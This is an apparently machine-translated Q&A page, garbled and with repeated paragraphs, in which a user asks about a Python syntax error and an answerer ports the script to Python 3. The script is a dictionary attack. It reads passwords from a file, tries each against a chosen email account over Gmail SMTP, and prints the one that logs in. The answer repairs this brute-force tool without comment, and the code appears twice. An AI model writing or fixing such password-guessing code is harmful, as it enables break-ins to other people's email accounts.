我一直在尝试编写的python代码中遇到一个无效的语法错误。错误出现在第15行“\n\n\n登录”之后
我一直在尝试编写的python代码中遇到一个无效语法错误。错误就在loggin之后的第15行我一直在尝试编写的python代码中遇到一个无效的语法错误。错误出现在第15行“\n\n\n登录”之后,python,Python,我一直在尝试编写的python代码中遇到一个无效语法错误。错误就在loggin之后的第15行 试试这个,因为看起来您的问题是Python版本的问题。看起来您正在尝试使用Python 3运行Python 2代码 #!/usr/bin import smtplib file_name=input("Enter name of your dictionary: ") username=input("Enter email id: ") with open(file_name,"r") as f:
试试这个,因为看起来您的问题是Python版本的问题。看起来您正在尝试使用Python 3运行Python 2代码
#!/usr/bin
import smtplib
file_name=input("Enter name of your dictionary: ")
username=input("Enter email id: ")
with open(file_name,"r") as f:
for name in f:
try:
session = smtplib.SMTP('smtp.gmail.com',587)
session.starttls()
session.ehlo
b = session.login(username,name[:-1])
except smtplib.SMTPAuthenticationError:
continue
else:
print("\n\n\n loggin "+" - password ---->>> "+name[:-1]+"\n\n\n\n\n")
break
变化:
原始输入到输入。
添加了关于文件打开的语句。您没有结束通话。
在打印调用中添加了关于打印的参数。
在不知道您阅读的文件的预期内容/格式的情况下,我只能提供这些帮助。您得到的确切错误是什么?请复制并粘贴到这里,然后按照您格式化代码的方式进行格式化。您使用的是Python 3吗?第1行是您的实际shebang吗?@Wooble:他一定在使用Python2,因为Pyth中没有原始输入on3.@unutbu:在抛出NameError之前检查语法。
#!/usr/bin
import smtplib
file_name=input("Enter name of your dictionary: ")
username=input("Enter email id: ")
with open(file_name,"r") as f:
for name in f:
try:
session = smtplib.SMTP('smtp.gmail.com',587)
session.starttls()
session.ehlo
b = session.login(username,name[:-1])
except smtplib.SMTPAuthenticationError:
continue
else:
print("\n\n\n loggin "+" - password ---->>> "+name[:-1]+"\n\n\n\n\n")
break